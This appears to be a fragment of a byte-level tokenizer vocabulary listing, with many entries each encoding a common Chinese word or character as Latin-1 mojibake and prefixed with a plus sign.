+æľ¬äºº +伯 +竹 +åΰåºķ +å¸Ĥæ°ij +åĩºåı£ +éĩĩè´Ń +æĢ»ç»ĵ +æŃ¦æ±ī +åĬłå¤§ +å¹¿ä¸ľ +æµģç¨ĭ +人åı£ +å¦Ĥæŀľä½ł +åĩºåİ» +åĩī +åĨľæ°ij +çݰ象 +åĬĽåº¦ +ç»ĻäºĪ +åħļå§Ķ +è¯Ńè¨Ģ +线ä¸Ĭ +æĢİæł· +åĦ¿åŃIJ +ç¡®å®ŀ +ä¹ĭå¤ĸ +éĥ½åľ¨ +èī¾ +çļĦæĥħåĨµ +éĩĮçļĦ +åĽ´ç»ķ +æĽ´å¤ļçļĦ +ä¾Ŀæ³ķ +åħ¬åĽŃ +å®¶éĩĮ +æ¯į亲 +ä¸įåĨį +èĭ¹ +æ³ķéĻ¢ +éŁ©åĽ½ +缸å½ĵ +ä¸įçŁ¥ +è¯Ħä¼° +ä¸įç͍ +顺åĪ© +éĩįè§Ĩ +è´¢åĬ¡ +ä»ĸåĢij +åıijè¡Į +ä¸ĵéŨ +åħ·å¤ĩ +å¹¶ä¸įæĺ¯ +è¶³çIJĥ +éŀĭ +åıij表 +æ°¸è¿ľ +èIJ¥åħ» +éħįå¥Ĺ +æķ´åIJĪ +è´º +åĽŀçŃĶ +æĶ¶çĽĬ +ä¹Łè®¸ +è»Ĭ +æİ¥è§¦ +æĶ»åĩ» +åĽĽå·Ŀ +æĢ§èĥ½ +åĽŀåΰ +èħ° +ä¹Łæ²¡æľī +å¼Ħ +设ç«ĭ +éĺ²æİ§ +æĬĢå·§ +éĢļ常 +è´¢æĶ¿ +éĥ¨ç½² +åľºæĻ¯ +æ±Łèĭı +表达 +åĸ· +女åĦ¿ +èζ +給 +ä¼ļåijĺ +æĪĸ许 +亩 +举æĸ¹ +天津 +è¿ijå¹´ +çľĭæĿ¥ +æ¯Ķä¾ĭ +岩 +éĵľ +çİ» +å®ŀéªĮ +æĢĿç»´ +æĭħå¿ĥ +æ²Ī +身边 +æ·±åĮĸ +ç²¾åĩĨ +ç§ģæľį +æ¶Īéĺ² +åİ»äºĨ +ç»Ĩèĥŀ +çIJĥéĺŁ +æĺİæĺŁ +é£Łçī© +å¾Īå¿« +è®©ä½ł +ä¿¡ç͍ +å͝ä¸Ģ +åħ¶å®ĥ +çŃīæĸ¹éĿ¢ +å¾ĭå¸Ī +æŃ»äº¡ +æŁ³ +ä¸Ģæī¹ +ä¸Ĭ涨 +æľºåľº +å½¢åĬ¿ +æĦ¿æĦı +éĽĨä½ĵ +æĸ°åŀĭ +æįŁå¤± +æĽ¸ +ä¸ĭåįĪ +æ¯ı次 +æĪIJå°± +åħ¬è·¯ +èĻ« +åĴ± +西å®ī +æľĢä½³ +ç§ijçłĶ +å¤įæĿĤ +æľºåύ +çαæĥħ +çħ§çīĩ +å¹´é¾Ħ +è³ĩæĸĻ +ç²Ĺ +åĩĨç¡® +åĬłä¸Ĭ +åĩºçīĪ +è°IJ +å®¶å±ħ +èĥĮæĻ¯ +ä¸Ģ线 +äºĭ项 +åĬ¨ä½ľ +祥 +æĢ»ä½ĵ +æĪ¿åŃIJ +ä¹Łå°±æĺ¯ +大æ¦Ĥ +é«ĺæķĪ +åIJ¹ +æİĪæĿĥ +éĻĦè¿ij +æ¡Īä¾ĭ +éĹ¹ +çΏçΏ +彩票 +æĢĴ +举æĬ¥ +æĻ®éģį +çķĻä¸ĭ +è¡£æľį +æĹłè®ºæĺ¯ +åħħ满 +深度 +æ¡ij +æĪªèĩ³ +带æĿ¥çļĦ +éϵ +æĦŁæĥħ +èµļ +åĵªäºĽ +æķ´æĶ¹ +æĪIJçĨŁ +å¨ľ +é¼» +磼 +çĽ¾ +好好 +ç¬¬åĽĽ +åĨłåĨĽ +è´¢å¯Į +æľĢ好çļĦ +车åŀĭ +éĸĢ +åį³å°Ĩ +åĪĨ为 +éĿĴå²Ľ +纷纷 +ä»ĬæĹ¥ +平衡 +å¹³æĸ¹ç±³ +éĤ£ç§į +åĩºçĶŁ +éĿĴæĺ¥ +人群 +人工 +ä¹ĭä¸ĭ +æ¹ĸåĮĹ +åľ¨æŃ¤ +åįļ士 +æĹ¶åĪ» +æ²³åĮĹ +æĶ¾å¼ĥ +éĢļéģĵ +森æŀĹ +çĸĨ +æķ¸ +èĬ³ +æīĵåĩ» +æĽ¹ +åĮĸåѦ +æĥ³è±¡ +ä¸ĩ人 +è´¢ç»ı +åħĥç´ł +ä¼ļ计 +åħ¨ä½ĵ +æĦĽ +é«ĺä¸Ń +æľºéģĩ +å£°éŁ³ +æĹħè¡Į +浩 +æŁ± +å°ijå¹´ +åĽ½å¤ĸ +èijĹåIJį +çĶŁåŃĺ +å§ľ +带é¢Ĩ +é¢ľèī² +ä¸Ĭä¸ĭ +产ä¸ļéĵ¾ +æĽ´å¥½çļĦ +å²Ń +ä¼ĺæĥł +便æĺ¯ +åħ§å®¹ +ä¸Ģåıª +çIJ´ +梦æĥ³ +ç§Łèµģ +å¼ĢåIJ¯ +è´Ńçī© +åĮħåIJ« +åĪ©çİĩ +èµ·äºĨ +æľīåĬĽ +éĤ£éĩĮ +审æī¹ +对æīĭ +çݰéĩij +天çĦ¶ +çĽĴ +çν +å¿ħçĦ¶ +åĮĸå·¥ +ä¸ĵåĪ© +åķ¡ +å¼Ģå¿ĥ +人ä½ĵ +éģĵ士 +æĢģ度 +空è°ĥ +æĭĽåķĨ +å§» +第äºĶ +æ£Ĵ +ä¸Ģç³»åĪĹ +å᱿ľº +转åıĺ +åľºæīĢ +鸣 +æĪ¿éĹ´ +é̼ +è¯ķçĤ¹ +对å¤ĸ +åĩºåı° +åľ¨è¿Ļ +åİĤå®¶ +巨大 +ç®Ģä»ĭ +çľĭäºĨ +åħļ建 +æĮĩæĮ¥ +çŁ³æ²¹ +ä¸įåı¯èĥ½ +èݲ +ä¸į太 +åĪĽæĦı +第ä¸Ģ个 +è´µå·ŀ +è¿ĩäºĨ +æľ¬æĿ¥ +éģĵå¾· +çŃĶæ¡Ī +é϶ +ä¸Ģè·¯ +èĤĸ +æ¸ħæ´ģ +æľīæľº +åIJįåįķ +æĿ± +åij¼åIJ¸ +ä¸Ī +ç¦ı建 +è¯ķéªĮ +å¼ķåıij +ä¹Łæ²¡ +ä¸įä½ı +çĨŁæĤī +èIJ¬ +ä¸įèī¯ +çłĸ +èĩ´åĬĽ +çŃ¾è®¢ +åIJĬ +侯 +çĺ¦ +å§ijå¨ĺ +æĸ¤ +妻åŃIJ +æĺ¥èĬĤ +çά +æĽĿ +çĥŃæĥħ +éķ¿æ²Ļ +èIJ¥éĢł +éħ· +éĵĿ +åŁºæľ¬ä¸Ĭ +åij¨åĽ´ +ä»Ģ麼 +认åı¯ +åĪĨåŃIJ +ä¸Ģæĸ¹éĿ¢ +è½´ +å¼· +马ä¸Ĭ +éĽ¾ +èĩ£ +å°¿ +çĶŁæĦı +å®īå¾½ +ç¥ŀç»ı +åĩºå¸Ń +èį¯åĵģ +çIJĨçͱ +åįıåIJĮ +æµģåĬ¨ +åıijåĬ¨ +åĿļå®ļ +表æĺİ +åIJİéĿ¢ +ä¹īåĬ¡ +å¦ĸ +æľīåı¯èĥ½ +年轻人 +大éĻĨ +å²³ +ä¸įèµ· +çŀ¬éĹ´ +ä¸įå¾Ĺä¸į +çŃ¾çº¦ +åIJĪæł¼ +åħļæĶ¯éĥ¨ +æµİåįĹ +便åĪ© +éļıæĹ¶ +å¥ī +称为 +产æĿĥ +åIJķ +çĽĨ +课åłĤ +ç·ļ +æ£ī +线ä¸ĭ +èĩªè¡Į +举æİª +åݦéŨ +èĩªä¿¡ +å½±è§Ĩ +ä»Ķ +çĶŁæ´»ä¸Ń +æĿĥçĽĬ +çϽèī² +å°±ä¸į +è¿Ľå±ķ +æ¯ıæĹ¥ +ä¾Ľç»Ļ +æĿĥåĪ© +æĹłæķ° +çIJĨè´¢ +ä¾ĿæĹ§ +ä¸ĬåįĪ +è¯ĨåĪ« +çĽĪåĪ© +çłĤ +许åı¯ +åIJĮäºĭ +åĺĽ +éģ¸ +çĿĢåĬĽ +éŨåı£ +ä¸įå¤ļ +åħ¶æ¬¡ +碧 +çī©çIJĨ +åĨħå¿ĥ +çϾå§ĵ +æĢ»ç»Ł +å¹²åĩĢ +积累 +åıįé¦Ī +æłijç«ĭ +社交 +ç§© +åįģä¸Ģ +éĤĵ +驱åĬ¨ +å±ķè§Ī +èĪĴéĢĤ +åŁºåĽł +å·®å¼Ĥ +转让 +å°ıå§IJ +æł·åŃIJ +ç¿Ķ +é«ĺåħ´ +å½±åĵįåĬĽ +æīĭç»Ń +缸åIJĮ +缸åºĶ +æĻĴ +è§Ģ +å¸Ĥå§Ķ +èĬ¯ +å±ķçݰ +åľ°çIJĥ +éĤª +ä¸Ģå®ļçļĦ +åħģ许 +ä¿¡ä»» +æīij +éĻ¢æł¡ +ç®Ģç§° +åģļæ³ķ +ä¹ĭè·¯ +æĹĹä¸ĭ +èħĶ +æ¶Ī失 +ä¸ĸçķĮä¸Ĭ +åŁİ乡 +èĪŀåı° +å¾Ī大çļĦ +绣çѹ +åħ¬å¹³ +èĤ¾ +çļĦ好 +æ±ģ +çľ¼åīį +éĽ£ +å¹½ +åħ±äº§ +主åĬŀ +å¤Ħç½ļ +åºĻ +éģĵçIJĨ +å¼µ +æİ¥çĿĢ +çĮİ +çģĮ +çͱæŃ¤ +人åĬĽ +æµģè¡Į +ä¾ł +åı¯ä»¥è¯´ +èĴĭ +å½¢æĢģ +æĹ¥åŃIJ +æ¼Ĩ +çķĻåѦ +缸éĹľ +æľĢå¤ļ +åĩŃåĢŁ +åħ¬äº¤ +æĮĸæİĺ +æĿĤå¿Ĺ +主人 +éļľç¢į +æł¡éķ¿ +æĸ¹ä½į +ä¸ĬçıŃ +å¤ļåħĥ +èĥģ +éŃħåĬĽ +èĮĤ +åħħç͵ +强大 +çĥ¤ +å¥ĭæĸĹ +å®ŀç͍ +éĺģ +ç»ĻäºĨ +æľ¬ç§ij +æłĭ +æĭ¨ +æķĻç»ĥ +éĥ½çŁ¥éģĵ +æ¯ķä¸ļçĶŁ +ç¢Ĺ +åŀĤ +讼 +å®ģæ³¢ +åѦèĢħ +谢谢 +åŁİéķĩ +æĢİä¹ĪåĬŀ +éģĶ +æĪIJ交 +æ½ľåĬĽ +åį§ +æĸ°å¼Ģ +éħįå¤ĩ +主åĬĽ +åij³éģĵ +çĥĤ +é£ŀè¡Į +å«ģ +大大 +ç»Ļ大家 +å¤ĸéĿ¢ +éĨī +åıijè¨Ģ +æĹ©é¤IJ +åIJĦèĩª +å®Ļ +èį£èªī +æĬ«éľ² +é¡ŀ +åĨħçļĦ +èĤª +è¾IJ +æ³µ +æĬĽ +æĺŁæľŁ +ä¸Ģ带 +çĶŁç´ł +ç»ıéĶĢ +åĩ¶ +åľ°ä¸Ĭ +åij½è¿IJ +åĵ² +ä¸Ĭåİ» +æĸĩçī© +è¯ij +æĮ¯åħ´ +éķ¿æĹ¶éĹ´ +ç¥Ń +åIJĪèĤ¥ +è¿Ŀè§Ħ +èģª +ä½İäºİ +éĢĤå½ĵ +æľīåºı +æľ¬ç½ij +çķĻè¨Ģ +æĥ³æ³ķ +çŃ¾ç½² +å§ļ +æĢ§æł¼ +èĴĻåı¤ +æŁı +åŀ« +åѦåİĨ +ä»ħä»ħ +讲è¯Ŀ +éĶIJ +æĢĸ +åīª +èĭį +åIJĵ +强çĥĪ +åģ¥åħ¨ +çĸ¯ +åı¤ä»£ +å¥Ī +ä¸įçĦ¶ +乡éķĩ +æľĭåıĭ们 +åĤħ +èģ½ +个æĢ§ +æ³ķè§Ħ +å°ıéķĩ +çĶ»éĿ¢ +第åħŃ +網路 +åīįæĻ¯ +åIJ¬è¯´ +ä¼łåªĴ +æĿ¡ä¾ĭ +åĪ«çļĦ +ä¸įæĩĤ +顾éĹ® +强度 +éĺ¿éĩĮ +èµ°åĬ¿ +帽 +çļĦç¡® +åĮºåĪ« +éĮ¢ +主管 +ä¸Ģçľĭ +æĸľ +åŃĺåľ¨çļĦ +仲 +åį±å®³ +éĵŃ +游æĪıä¸Ń +éħ± +é¾Ļ头 +人å¿ĥ +éĢĢä¼ij +æµıè§Ī +åĬ« +éĺ²æ²» +ç®Ń +å±Ī +è¾½å®ģ +壤 +è¿İæĿ¥ +éŀį +ç͍æĿ¥ +å¤§åľ° +ä»° +éĢļ讯 +å¼Ģå·¥ +裤 +å¦ĤåIJĮ +骤 +éĺŁåijĺ +轩 +ç¾İæľ¯ +èĻŁ +åIJĮä¸Ģ +åľĸ +书æ³ķ +æīĵåį° +åIJ«æľī +éĽĨæĪIJ +éĹ· +å¸Ĥåľºä¸Ĭ +æĹģè¾¹ +åľ°æĿ¿ +产çĶŁçļĦ +粤 +éĩįç»Ħ +è¡Ģæ¶² +çŃĭ +åĬŀäºĭ +常è§ģçļĦ +ä¸ĬåįĬå¹´ +å±ıå¹ķ +åIJīæŀĹ +å·© +åĸľçα +ç¿ł +ä¸īç§į +æ¡Ĩæŀ¶ +举èİŀ +çĶĺèĤĥ +èĬ¬ +åĽ¾ä¹¦ +åĩ¤åĩ° +æ°ĶåĢĻ +å°´ +å°¬ +两天 +è¾ħ导 +åĢŁæ¬¾ +æĹ¥èµ· +æ´Ĵ +ä¸Ģ度 +è¹Ī +æ½Ń +æīĩ +çĻľ +æĸ°åħ´ +åĤ² +诸å¤ļ +è´ª +éĻ·åħ¥ +èĪŁ +èĤºçĤİ +ä¸Ģæł·çļĦ +åİĺ +åľ°çIJĨ +æĬķæ³¨ +éļĬ +åħīä¼ı +ä¿Ŀåģ¥ +åħĶ +åħ¬åĬ¡ +æīĵçł´ +çĶ·åŃ© +åĬ³åĬ¡ +ä½łä¼ļ +çĶ¨åľ° +溢 +åıijè¾¾ +èĤļ +è¿ĩäºİ +èĩĤ +éĢĻæ¨£ +轻轻 +ä¸Ńåħ± +åIJĦåĽ½ +åĶĩ +å®ŀä¹ł +èϾ +æ§½ +ä¸įä¸Ĭ +åħįçĸ« +åįłæį® +å·¥ä¼ļ +åĽĬ +èĪªå¤© +åı¯çα +æĸĹäºī +çĺ¤ +å¦Ĥæľī +éĽĸ +对æĪij +åĩºç§Ł +好çľĭ +太大 +æ°´åĪ© +åĬ¿åĬĽ +åħ¨æ°ij +ç½¢ +èµ¢å¾Ĺ +çĶµä¿¡ +车éĹ´ +æĻĤåĢĻ +å°ijæķ° +éĵ¸ +åħ³èģĶ +ä¸įä»ħä»ħ +为æĤ¨ +åĴ¸ +æľºåĬ¨ +è£Ļ +åĵįåºĶ +éģł +è²· +ç©´ +å¢ħ +éĶ¡ +çµĦ +çģ«è½¦ +è³ĩè¨Ĭ +åĨ³èµĽ +污水 +èªŀ +å´Ľ +ç´§å¯Ĩ +缺å°ij +å¤ļ人 +æĢ»ä¹¦è®° +éĶĪ +èijĽ +å¿ĺè®° +éĻĮçĶŁ +éķ¿å¤§ +åħĪè¿ĽçļĦ +ç¡ħ +åıijæĺİ +å©´åĦ¿ +æīİå®ŀ +èĽĭçϽ +ä¸ĢçϾ +缮åħī +æħĮ +åĬłæ²¹ +åIJŀ +ä¸Ģ群 +ä¸Ńä»ĭ +å¸ĸ +å¿Į +èģĮèĥ½ +广æĴŃ +çĽijå¯Ł +ç§ĺå¯Ĩ +çĭ® +è¿ĻæĿ¡ +éĢ¢ +æĢ¨ +åįģåħŃ +試 +说åΰ +åĩĿèģļ +æĮĩ示 +æ°¢ +å¼ĺ +éĺĢ +æĸ© +éłħ +ä¸Ģå¼Ģå§ĭ +æİĴè¡Į +åľ¨æĪij +纪å½ķ +æĬĦ +æłª +说æ³ķ +ä¸Ńèᝠ+好å¤ļ +åıªä¸įè¿ĩ +çķĻåľ¨ +个å°ıæĹ¶ +è®¤çŁ¥ +çķ« +è§ģè¿ĩ +å°ıå¾® +ä½Ľå±± +çľ¾ +讲述 +梳 +ç§°åı· +æĹ¥æĻļ +è¢ĸ +åķ¤ +æľªç»ı +æľĢæĹ© +æī®æ¼Ķ +è¡Ģ管 +纱 +æĥħèĬĤ +第ä¸ĥ +æį§ +ä»Ĺ +æ¿ĢçĥĪ +æĹłçº¿ +ä¸į容æĺĵ +å¼Ģå¹ķ +æĸ°çĶŁ +ä¸ĵ注 +èij± +åįĹæµ· +çĩŁ +èµ·ä¾Ĩ +æ´¾åĩº +åĦĴ +侨 +è¼ĥ +åįļè§Ī +é̾ +åĮĢ +ç»ıæµİåѦ +æ¸Ĺ +ä¿ĿèŃ· +çīº +çī² +çİ« +çij° +æľĢåIJİä¸Ģ +æĶ¿åĬ¡ +æ§Ľ +èĻķçIJĨ +éļIJæĤ£ +æī¿åĮħ +極 +æ¡© +çĽ² +导åIJij +èĩ´å¯Į +ç¼Ĩ +æģĭçα +ä¸įåĬ¨ +ç»Ļ人 +å·¢ +表æĥħ +举åįĹ +åĨħå¤ĸ +è¾ĪåŃIJ +åıī +åįļä¼ļ +åĬŁæķĪ +渴 +屬 +æİĴéϤ +éĢĽ +ä¸Ģä¼ļ +ä¸įå¼Ģ +å¼Ģå¥ĸ +é»ijé¾Ļ +é»ijé¾Ļæ±Ł +å¿«ä¸ī +度åģĩ +åĿ¤ +éĤ®ä»¶ +æĩĴ +ä¾Ľç͵ +廣 +好è¯Ħ +ç§ĺ书éķ¿ +æĪĺåľº +好å¥ĩ +ä¾µæĿĥ +æĨ¾ +æľĢåĪĿ +æī¹åıij +åİķ +è¼ķ +æŀ¯ +ä¸ļåĨħ +è´ŃæĪ¿ +ä¸įåľ¨ +纪å§Ķ +æīĢéľĢ +å¸Ĥéķ¿ +è³½ +å¼ķæĵİ +çģµéŃĤ +éĬĢ +滤 +çĿIJ +å¤ļ项 +åĽŀ头 +èīĺ +å¤įå·¥ +éĥ¨ä»¶ +ç´§ç´§ +æŁIJç§į +使åħ¶ +æĸ°äºº +æŀļ +æ³ķå®ļ +å·´å·´ +æ¶µçĽĸ +稻 +æĭ¾ +æĻķ +轿 +éĢļè¡Į +åĵĢ +æ³Ĭ +温馨 +éĽĨèģļ +çĨĻ +åĩij +åįģä¸ĥ +æ°Ķæģ¯ +æıIJä¾ĽçļĦ +æ³³ +奥è¿IJ +çģ¾å®³ +åĩĢåĮĸ +è·¨è¶Ĭ +åĵªæĢķ +éŁ¿ +å¢ŀæ·» +çĦĬ +æ®ĭçĸ¾ +ç¢Į +æĤĶ +è§ģè¯ģ +è¾ĸåĮº +å¿ĥèĦı +éļ§ +åᏠ+åı¯èĥ½æĢ§ +æľīè¶£ +åī¯ä¹¦è®° +åĮĸå¦Ĩ +ä¿Ĥ +æ£ļ +éĨĩ +带头 +éłĪ +追究 +æijĶ +è¿Ļéĥ¨ +ä¸į论 +祸 +å³» +éģķ +çĶŁèĤ² +å¤ł +å¤ĸ交 +è¯Ħ为 +ä»İå°ı +å°ıå°ı +饿 +æĴ¼ +è·¨å¢ĥ +被åijĬ +åįĹå®ģ +身å¿ĥ +åĨįçĶŁ +æīĢ说 +æĹ¶éĹ´åĨħ +åĪĹåħ¥ +éĿĴæµ· +çα好 +çªĦ +èĪĪ +è¿ĩ渡 +æ¿Ł +éĽĢ +审议 +åĽ½èµĦ +æŃ¥ä¼IJ +轨éģĵ +信念 +ä¸īåĪĨ +çĨ¬ +åѵåĮĸ +ç¼ł +éĥĬ +èĪĴæľį +纪æ£Ģ +ä¸Ģä¸ĭåŃIJ +éĽ»è©± +è²ł +éĴ¥ +åĮĻ +çĹ´ +è¶ģ +绣 +çε +è½° +éªĦ +姨 +æĭĺ +çĮ´ +è®¶ +è¿Ļ座 +ç፠+æ·ĺæ±° +çĹħä¾ĭ +æ²Ļåıij +è§Ĩ为 +头æĿ¡ +å¿ħè¦ģçļĦ +åı¯è°ĵ +è¯Ŀ说 +ç¯Ħ +æĹ©çĤ¹ +æŀ¢çº½ +羡 +çĪ±åĽ½ +çªģåıij +éĢĬ +æ½į +èį£èĢĢ +èŁ¹ +æ¦Ĥçİĩ +å¾Īä¹ħ +æĥķ +訴 +åľĨ满 +çļ± +åĪĨæ³Į +åħħè¶³ +çľĭæ³ķ +è¾Ł +æĭ¦ +æĭ© +对åºĶ +ä¸ºæł¸å¿ĥ +èħĬ +å¤ļä¹Ī +æµij +å®ıè§Ĥ +èĦĸ +åIJĪèµĦ +çĶŁæ¶¯ +å®ŀè´¨ +ä¼ĺçĤ¹ +çĶ¨æ°´ +寿åij½ +沫 +åIJģ +詹 +åĽ½éĺ² +å´© +åĿİ +èĨı +ä¸Ģè½® +éģĹ产 +æ¹¾åĮº +ç»İ +åįķ纯 +æ¾Ħ +åīįåĪĹ +身影 +é»ĺé»ĺ +æįī +çĴ° +èıĬ +æĢľ +åħĭæĢĿ +æĢ»å±Ģ +çĩĥæĸĻ +ä¸ļæĢģ +åIJĦæł· +åĴ½ +åĩºèī² +åĪĿå¿ĥ +åıĽ +çłĶ讨 +è¡« +åİĨç¨ĭ +禽 +è¶³å¤ŁçļĦ +èįĨ +çľĭå¾ħ +è´© +åĨ³å¿ĥ +裹 +å¸ĪèĮĥ +åŀĦ +æĿł +åĩ¸ +çĬ¹è±« +çĥŃè¡Ģ +åIJĪä¼Ļ +éħµ +èIJ½åľ¨ +åįłåľ° +衬 +èĵī +æĦ¤ +æ¸Ĭ +åĪĨæķ° +ç¬ijçĿĢ +太平 +çĤ« +æİ¨ä»ĭ +æĸ¯åĿ¦ +形容 +æĵĬ +æĦŁåħ´è¶£ +åĨĽäºº +åĩĮæĻ¨ +对çħ§ +åıijçĹħ +å·¾ +èĪī +檢 +ç¬ijäºĨ +ç¡®è¯Ĭ +è´ŁåĢº +壮大 +æĪļ +äºĴèģĶ +課 +èħ¦ +æĹ± +åıĹæ¬¢è¿İ +åįī +éϢ士 +æ©¡ +ä¸Ģ对 +è¾± +æ²Ĥ +åı²ä¸Ĭ +æIJı +å´ĸ +代谢 +磷 +é¡ĺ +æµĩ +常ç͍ +åįij +åĩºåĽ½ +è¯ł +稳æŃ¥ +ç»ı纪 +å¤ļå¤ļ +æīĢå¾Ĺ +为主é¢ĺ +ä¸ĢåĪĨ +æł½ +é¡§ +纲 +åĥħ +å£ĵ +åĦª +ç¿° +æİĢ +人为 +媳 +æ´½ +èĿ¶ +å¤įåħ´ +ä¼ļå½±åĵį +åIJĦçķĮ +éĤ£ä¸Ģ +颤 +çĢı +çĢı覽 +å¯ŀ +åı¯æĢķ +åį³æĹ¶ +çķ´ +ä¸ĭåįĬå¹´ +ç¬Ķè®° +éĻĦåĬł +çĥŃæ°´ +奸 +ç£ħ +æĿī +æ¸ħåįİ +éĸ± +ç°¡ +å¤Ħå¤Ħ +åIJĪéĩij +æ²³æµģ +ç´° +è´ŁéĿ¢ +çļĦ羣å®ŀ +åĻ¨æ¢° +èĴIJ +西äºļ +å·ħ +ç²¹ +åİŁæĸĩ +æŀķ +è¡Ģåİĭ +åļ´ +å¸ĺ +åĨĢ +æĮ« +çĶµè·¯ +å°ıä¼Ļä¼´ +èĿ´ +æľĢå¿« +æĭĮ +宪 +æĸ· +ç¿ħ +åĴ³ +åĹ½ +ç¾ŀ +èººåľ¨ +èµĽè½¦ +æ²IJ +éĻIJ度 +为ä¸Ģä½ĵ +èĴľ +幫 +æIJħ +åĭĭ +åīĸ +纳ç¨İ +éķ¿æķĪ +ç½ķ +åľ¬ +ç©į +éĴ© +ç¹¼ +åĽ½åľŁ +è¼ī +ä¸įå¿ĺ +èŃ¦ç¤º +çģ¿ +å¿ĥå¾Ĺ +æĦļ +忽çķ¥ +åĽŀäºĭ +åįłæľī +æ·Ħ +çī¡ +çĽijäºĭ +ç¿¡ +éĴĪ对æĢ§ +çªĥ +製 +èĨĿ +ç³Ł +港澳 +太太 +澡 +ç»ĨåĮĸ +åĶ®åIJİ +å®ŀåľ¨æĺ¯ +ç«£ +çį² +å̾åIJij +å¼ķç͍ +é¹ħ +ç¬ij容 +ä¹IJè¶£ +æ°ijæĶ¿ +éŨæĪ· +å±ģ +迷失 +éĶĮ +å°ı康 +åĭī +æ³¼ +ä¾ĭåŃIJ +ä¸īä½į +å»ł +èĶĵ +广éĺĶ +èĢį +èĢģèĻİ +åĭŁéĽĨ +èĦļæŃ¥ +æĭ¯ +åŃĹåı· +çĦ° +é¢ł +èļĤ +èļģ +飯 +人æĢ§ +æĴ° +åİ¢ +å±ĢéĻIJ +æľªæĪIJ +åĵªåĦ¿ +大åıij +ä¸įå®ļ +å¾ģæ±Ĥ +éĥµ +åĢºæĿĥ +çĪ±ä½ł +èºģ +ä»ħä¾Ľ +è¿ľå¤Ħ +éĨĽ +åĥµ +积æŀģæĢ§ +æİ¡ +åīįä¸ī +äºİä¸Ģä½ĵ +çŀĦ +çĿģ +沸 +åħ±èµ¢ +éĢĢå½¹ +è´Ŀå°Ķ +æİı +æĪ² +è¡į +éĶĤ +ä¸ĩä½Ļ +ç§ijåĪĽ +æ¼Ķåͱ +欧åħĥ +æ·¡æ·¡ +éĿĴå±± +èĹĿ +绽 +令çīĮ +éĽĨ群 +ä½ľçī© +çĢij +夯 +ç½ij游 +åħ«å¤§ +éªļ +èªĵ +ä¼ļå±ķ +åħļåı² +æ£Ģå¯ŁéĻ¢ +åĸĺ +éĺ± +èĢĮåĩº +éĢļ车 +éĴĵ +æĥħ人 +æ¸Ľ +ä¸Ńç§ĭ +çĪŃ +åıªåī© +æĺĶ +éĩİçĶŁ +ç¡« +èIJĿåįľ +æĬµæĬĹ +çĻ«çĹ« +éĻĢ +èĶļ +å¸ľ +满满 +èı± +éļĨéĩį +æĺŁçº§ +æ½ĩ +åħ¬åħĥ +è°£ +æ¯Ķäºļ +æ¡ĮåŃIJ +èµ£ +è²¼ +æĦ¿æľĽ +顽 +æ´¾éģ£ +ç¥Ľ +åªļ +éĺľ +èij« +èĬ¦ +æ³» +å¡Į +çĭŃ +å»īæĶ¿ +å¥ijæľº +æĹĹèΰ +æĥ« +严åİī +åıĭæĥħ +å¦Ĭ +å¨ł +åĵªå®¶ +èĨ¨ +è¶Ł +æĮª +èĻIJ +éłģ +çŀ© +éºŁ +稣 +èģĶéĢļ +åı® +çİĭèĢħ +ä¸įç¡®å®ļ +çijľ +è°İ +çī¢è®° +碼 +æĬ¤èĤ¤ +é¡· +çĦķ +åģļ强 +éļ±ç§ģ +éļ±ç§ģæ¬Ĭ +åıĹ害 +ä¸įçͱ +çĥ¹ +饪 +驳 +ä¼½ +ä¸Ŀ绸 +è¥Ħ +åįģä½Ļ +éºĹ +æ¬ĬåĪ© +èģŀ +åı¤èĢģ +éģı +åIJĦå¼ı +å°±è¡Į +åħ¥å¢ĥ +çĥģ +èľĺ +èĽĽ +纬 +磫 +è»Ł +æ´Ĺè¡£ +æĦ§ +é¢Ħæ¡Ī +éľĨ +æ·±åİļ +éĺ¿æĭī +åĨĻåŃĹ +åᦠ+éķĢ +æ¨¡æł· +åĤį +æIJį +èĸ¯ +åłħ +åħ¬ç§¯ +è¨İ +ä¼łæŁĵ +毯 +çIJĨå·¥ +åĨ·éĵ¾ +ç«ĭæĸ¹ +æ¢Ń +åľ£è¯ŀ +综èīº +çİ©ç¬ij +æĥ³ä¸įåΰ +æijĩ头 +æ·¹ +åģĩæĹ¥ +åĢĺ +è̽ +èİĵ +åŁ· +èĩªè´¸ +åįĬ天 +æªĶ +æ¾İæ¹ĥ +éķij +丫 +éĩĮç¨ĭ +å¼ĢèįĴ +èıı +å®Ŀè´µ +èѬ +åķŁ +æŁł +檬 +é©Ń +æ±Ľ +çĨĬçĮ« +èķī +éļıä¹ĭ +å±ij +è¾ĥ强 +èĥ³ +èĨĬ +éĿĻéĿĻ +åĴª +æĭĽåij¼ +代è¨Ģ +ä¿¡ç®± +è£ħéħį +æĤį +åįķ车 +èIJİ +å¤ļ彩 +éϏ +ä»İ严 +æ©Ħ +æ¦Ħ +éĢ® +éĩĮæĸ¯ +å§¿æĢģ +太æŀģ +éĩĿ +æºī +è¿Ń +秸 +ç§Ĩ +å·¥å§Ķ +æ±ķ +èģĨ +佬 +ç¼ħ +ç͏ +åī¯å±Ģéķ¿ +éĹº +誤 +è¤IJ +ä¸įéĻIJ +èħķ +åijķ +磶 +åĨľå®¶ +管å§Ķä¼ļ +饺 +èĬľ +æ¾Ī +è©¢ +å¨ģå°¼æĸ¯ +ä½ķåĨµ +å°ıä¼Ļ +奢ä¾Ī +è¿Ļç¯ĩ +诵 +竳ç¨ĭ +ç´Ģ +éIJĺ +éĤ¢ +ç³Ļ +ç¼Ģ +ä¹Ĵ +ä¹ĵ +çī¢åĽº +åĿŀ +å¼Ī +ä¾ĭå¤ĸ +廳 +è§Ħ竳 +èĬĻ +篷 +躯 +æłĪ +åĿļå®ŀ +åŁºå»º +çĿĢçľ¼ +ç·´ +èij© +ç¼ļ +æ¦Ĩ +主åĭķ +ç¥Ģ +äºĴéĢļ +尤为 +å®Ľ +骼 +æ±² +ä¾ĥ +æĤłä¹ħ +æij§ +æĭĩ +é«ĵ +éºĴ +éĻĽ +æŀ¸ +æĿŀ +è´¬ +å°ıé¾Ļ +åĵ® +èĵ¬åĭĥ +åĮĪ +çķľçī§ +娩 +个å¤ļ +æ²¥ +æĺ§ +çĦļ +æĬijéĥģ +çĸ¡ +èĺij +éģİç¨ĭ +橱 +éĿĵ +大çIJĨ +髦 +åĪĨ辨 +渤 +çĸ¤ +åĬ¨èĥ½ +å¼łå®¶ +ä¸ĩåįĥ +滥 +饥 +åºŁå¼ĥ +帳 +æ¼³ +è±IJ +ä»ij +å«ī +å¦Ĵ +çŀĴ +è¡ħ +çĭ¸ +å¾ģç¨ĭ +éĤ¯ +éĥ¸ +ç¥Ī +祷 +è¶´ +ç»ĵæŀĦæĢ§ +è§ĨåIJ¬ 